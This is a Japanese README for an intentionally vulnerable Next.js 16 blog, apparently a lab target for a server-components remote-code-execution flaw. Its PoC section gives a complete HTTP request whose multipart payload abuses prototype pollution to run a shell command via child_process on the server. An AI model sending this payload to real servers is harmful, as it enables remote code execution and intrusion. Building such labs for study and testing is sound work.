shadcn/ui を使ったモダンブログ

Next.js 16、React 19、shadcn/ui、Tailwind CSS で構築された、モダンでエレガントなブログです。

重要：

教育、テスト、および悪用を目的としてのみ作成された脆弱性のある Next JS プロジェクトです。本番環境へのインストールは推奨されません。ローカル環境または管理された環境のみを対象としています。

PoC

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

参照: github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

特徴

🎨 モダンなデザイン: shadcn/ui で構築されたエレガントなインターフェース
📝 フル機能のブログ: モックコンテンツを含む複数のブログ記事
💬 リアクションシステム: like、love、laugh、wow、sad、angry などの感情で投稿にリアクションできます
👤 認証: localStorage を使用した登録・ログインシステム
🎯 レスポンシブ: 完全レスポンシブデザイン
🌙 ダークモード: 自動ダークモード対応

技術スタック

Next.js 16 - React フレームワーク
React 19 - UI ライブラリ
shadcn/ui - モダンな UI コンポーネント
Tailwind CSS 4 - ユーティリティスタイル
TypeScript - 静的型付け
Lucide React - アイコン
Radix UI - アクセシブルなコンポーネント

インストール

依存関係をインストールします:

npm install
# o
yarn install
# o
pnpm install

開発サーバーを起動します:

npm run dev
# o
yarn dev
# o
pnpm dev

ブラウザで http://localhost:3000 を開きます。

プロジェクト構造

├── app/                    # Páginas de Next.js
│   ├── blog/[id]/         # Página de detalle del blog
│   ├── profile/            # Página de perfil
│   ├── layout.tsx          # Layout principal
│   └── page.tsx            # Página principal
├── components/             # Componentes React
│   ├── auth/              # Componentes de autenticación
│   ├── blog/              # Componentes del blog
│   ├── layout/             # Componentes de layout
│   └── ui/                 # Componentes shadcn/ui
├── lib/                    # Utilidades y servicios
│   ├── auth.ts            # Servicio de autenticación
│   ├── mocks.ts           # Datos mock
│   └── utils.ts           # Utilidades generales
└── public/                 # Archivos estáticos

機能

認証

新規ユーザー登録
ログイン
localStorage への保存
ユーザープロフィール

ブログ

メインページの記事一覧
各記事の詳細ページ
著者情報
カテゴリーとタグ
カバー画像

リアクション

投稿のすべてのリアクションを表示
さまざまな感情でリアクション
タイプ別のリアクション数
リアクションしたユーザーのリスト

モックデータ

すべてのデータ（ブログ、ユーザー、リアクション）は完全にモックであり、動的に生成されます。データベースは必要ありません。

注意事項

ユーザー認証情報は localStorage に保存されます
データはページをリロードするたびに再生成されます
リアクションシステムは視覚的なもののみです（新しいリアクションは永続化されません）

ライセンス

このプロジェクトは教育目的のみです。

cve-2025-66478_rce_vulnerable

人気